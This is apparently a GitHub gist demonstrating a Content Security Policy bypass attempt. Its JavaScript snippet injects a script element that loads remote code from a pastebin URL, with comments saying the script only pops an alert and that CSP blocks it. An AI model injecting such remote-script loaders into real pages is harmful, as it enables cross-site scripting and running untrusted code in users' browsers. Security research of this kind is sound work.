Skip to content

Instantly share code, notes, and snippets.

@galpx
Created August 11, 2020 09:49
Show Gist options
  • Save galpx/91c0e073d3daf154397f1133fd46fc9e to your computer and use it in GitHub Desktop.
Save galpx/91c0e073d3daf154397f1133fd46fc9e to your computer and use it in GitHub Desktop.
normally, bypassing csp will fail
/* this is a script that pops an alert message */
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';
/* this call will fail due to CSP */
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment